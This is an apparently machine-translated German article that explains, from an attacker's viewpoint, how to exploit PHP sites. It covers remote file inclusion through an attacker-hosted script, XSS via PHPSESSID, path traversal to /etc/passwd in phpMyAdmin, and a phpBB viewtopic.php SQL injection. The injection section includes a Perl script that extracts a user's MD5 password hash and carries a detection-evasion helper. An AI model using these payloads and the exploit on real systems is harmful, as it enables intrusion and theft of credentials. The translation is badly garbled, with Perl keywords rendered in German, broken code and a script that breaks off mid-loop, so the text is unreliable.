Allgemeine Schwachstellenanalyse von PHP-Seiten und entsprechende Problemlösung
Autor:Eve Cole
Aktualisierungszeit:2009-06-02 18:07:08
Gemessen an der aktuellen Netzwerksicherheit sollte die Schwachstelle der WEB-Seite, über die sich jeder am meisten Sorgen macht und der er am meisten ausgesetzt ist, ASP sein. In dieser Hinsicht ist Xiaozhu ein Experte, und aus der Perspektive von PHP habe ich dort jedoch kein Mitspracherecht Es gibt auch sehr schwerwiegende Sicherheitslücken, aber es gibt nicht viele Artikel in diesem Bereich. Lassen Sie uns hier kurz auf die damit verbundenen Schwachstellen von PHP-Seiten eingehen.
Ich habe eine Zusammenfassung der aktuellen häufigen PHP-Schwachstellen erstellt, die grob in die folgenden Kategorien unterteilt sind: einschließlich Dateischwachstellen, Schwachstellen bei der Ausführung von Skriptbefehlen, Schwachstellen bei Dateilecks, Schwachstellen bei SQL-Injection usw. Natürlich, was einige gängige Technologien betrifft, wie z Ich werde hier nicht auf COOKIE-Spoofing eingehen, es gibt viele Informationen darüber im Internet. Lassen Sie uns also nacheinander analysieren, wie diese Schwachstellen ausgenutzt werden können.
Lassen Sie uns zunächst die Sicherheitslücke in der Datei besprechen, die nur für PHP gilt. Sie ist auf die unzureichende Verarbeitung extern bereitgestellter bösartiger Daten zurückzuführen, die es entfernten Angreifern ermöglicht, mithilfe des WEB-Prozesses beliebige Befehle auf dem System auszuführen Schauen wir uns ein Beispiel an: Angenommen, es gibt einen solchen Code in a.php:
include($include."/xxx.php");
?>
In diesem Code ist $include im Allgemeinen ein eingerichteter Pfad, aber wir können den Angriffszweck erreichen, indem wir selbst einen Pfad erstellen. Beispiel: a.php?include=http://web/b. php, dieses Web ist der Raum, den wir zum Angriff verwenden. Natürlich ist b.php der Code, den wir zum Angriff verwenden. Wir können so etwas wie Folgendes schreiben: passhru("/bin/ls /etc") in b.php. Auf diese Weise können Sie einige gezielte Angriffe durchführen. (Hinweis: Der Webserver sollte nicht in der Lage sein, PHP-Code auszuführen, da sonst Probleme auftreten. Relevante Details finden Sie unter << So greifen Sie häufige Schwachstellen in PHP-Programmen an >> ). Im Hinblick auf diese Sicherheitslücke gibt es viele Probleme, zum Beispiel: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart und viele mehr.
Schauen wir uns als Nächstes die Schwachstelle bei der Ausführung von Skriptbefehlen an. Diese ist auf die unzureichende Filterung der von Benutzern übermittelten URI-Parameter zurückzuführen. Die Übermittlung von Daten, die bösartigen HTML-Code enthalten, kann einen Cross-Site-Scripting-Angriff auslösen und möglicherweise vertrauliche Informationen erhalten Zielbenutzer. Lassen Sie uns auch ein Beispiel geben: Der Seite index.php in PHP Transparent PHP 4.3.1 oder niedriger fehlt eine ausreichende Filterung von PHPSESSID. Wir können den Zweck des Angriffs durch solchen Code erreichen:
http://web/index.php?PHPSESSID =">In Skripten können wir Funktionen konstruieren, um einige vertrauliche Informationen von Benutzern zu erhalten. In dieser Hinsicht gibt es relativ wenige Schwachstellen. Zusätzlich zu PHP Transparent gibt es auch: PHP- Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board usw.
Werfen wir dann einen Blick auf die Sicherheitslücke bei der Offenlegung von Dateien. Diese Sicherheitslücke ist darauf zurückzuführen, dass vom Benutzer übermittelte Parameter nicht ausreichend gefiltert werden. Angreifer können damit Verzeichnisdurchquerungsangriffe durchführen und an vertrauliche Informationen gelangen. Nehmen wir als Beispiel das kürzlich entdeckte phpMyAdmin. In phpMyAdmin filtert die Seite „export.php“ den vom Benutzer übermittelten Parameter „what“ nicht vollständig. Ein Remote-Angreifer kann dies umgehen, indem er Daten mit mehreren „../“-Zeichen übermittelt. Überwinden Sie WEB-ROOT-Einschränkungen und zeigen Sie alle Dateiinformationen auf dem System mit WEB-Berechtigungen an. Geben Sie beispielsweise eine solche Adresse ein: export.php?what=../../../../../../etc/passwd%00 kann den Zweck des Dateilecks erreichen ist relativ Es gibt noch mehr: myPHPNuke, McNews usw.
Endlich sind wir wieder beim aufregendsten Punkt. Denken Sie darüber nach, wie viel Spaß es macht, SQL-Injection in ASP-Seiten zu verwenden. In der Vergangenheit mussten wir manuell injizieren, bis Xiaozhu das „SQL-Injection-Geheimbuch“ herausgefunden hat Nach dem Start von NBSI hat unsere NB Alliance wirklich einen großen Unterschied gemacht. Wir haben dazu beigetragen, Lücken in großen Websites wie CSDN, Monopoly Forum und China Channel zu finden (ich werde hier nicht noch mehr Blödsinn erzählen). Off-Topic...) Kehren wir zum Thema zurück. Tatsächlich ist die SQL-Injection in PHP ungefähr das Gleiche wie die SQL-Injection in PHP. Achten Sie nur auf die wenigen verwendeten Funktionen Und andere Funktionen haben sich im Grunde nicht geändert. Wenn jeder die SQL-Injection in PHP sieht, denken sie dann alle an PHP-NUKE und PHPBB? Der König der Schwachstellen in der ASP-Welt. Das soll nicht heißen, dass die Sicherheit seines Forums zu schlecht ist, sondern dass es zu bekannt ist. Je mehr andere es nutzen, desto mehr Leute werden es recherchieren und desto mehr Sicherheit Dasselbe gilt für PHPBB, und jetzt verwenden viele Leute PHP, um ein Forum zu erstellen. Seine Schwachstellen treten immer wieder auf, beginnend mit den frühesten Schwachstellen, die in der Version phpBB 1.4.0 entdeckt wurden Von phpBB.com bis zur neuesten groupcp.php in der phpBB 2.0.6-Version sowie von search.php, profile.php, viewtopic.php usw. gibt es wahrscheinlich etwa ein Dutzend hat immer dazu geführt, dass einige Leute es als experimentelles Produkt verwenden, wenn sie PHPBB-Schwachstellen untersuchen, sogenannte PHPBB. Nach viel Übung glaube ich, dass PHPBB in Zukunft immer besser werden wird.
Okay, analysieren wir die Ursache der Sicherheitslücke. Beim Aufruf von viewtopic.php wird die „topic_id“ direkt aus der GET-Anfrage abgerufen und an den SQL-Abfragebefehl übergeben Durch die Filterverarbeitung kann der Angreifer eine spezielle SQL-Zeichenfolge übermitteln, um das MD5-Passwort zu erhalten, das für die automatische Anmeldung oder zum Brute-Force-Cracking verwendet werden kann. (Ich glaube nicht, dass irgendjemand Brute-Force-Cracking betreiben möchte, es sei denn, es gibt einen besonders wichtigen Grund. Schauen wir uns zunächst den relevanten Quellcode an.)
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
Aus dem oben Gesagten können wir ersehen, dass der ausgeführte Abfragecode wie folgt aussieht, wenn „view=neest“ und „sid“ auf einen Wert gesetzt sind (wenn Sie den PHPBB-Quellcode nicht gesehen haben, empfehle ich Ihnen, ihn zu lesen und dann hierher zu kommen). Sehen Sie, die betroffenen Systeme sind: phpBB 2.0.5 und phpBB 2.0.4).
# $sql = "SELECT p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# WHERE s.session_id = '$session_id'
# UND u.user_id = s.session_user_id
# UND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";
Rick hat den folgenden Testcode bereitgestellt:
verwenden IO::Socket;
$remote = Verschiebung ||. 'localhost';
$view_topic = Shift ||. '/phpBB2/viewtopic.php';
$uid = Verschiebung ||. 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 oder pgsql
print „Es wird versucht, den Passwort-Hash für UID $uid Server $remote dbtype abzurufen: $dbtypen“;
$p = "";
for($index=1; $index<=32; $index++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Typ => SOCK_STREAM)
oder die „Verbindung zu $remote:$port: $@n konnte nicht hergestellt werden“;
$str = "GET $view_topic" "?sid=1&topic_id=-1" .
drucken $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1n"; # ersetzen Sie dies durch pgsql oder entfernen Sie es
print $socket „Host: $remotenn“;
while ($answer = <$socket>)
{
if ($answer =~ /location:.*x23(d+)/) # Entspricht dem Standort: viewtopic.php?p=#
{
$p .= chr ();
}
}
close($socket);
}
print „nMD5 Hash für UID $uid ist $pn“;
# Zufallskodierungsstr. hilft, Erkennung zu vermeiden
sub random_encode
{
$str = Verschiebung;
$ret = "";
for($i=0; $i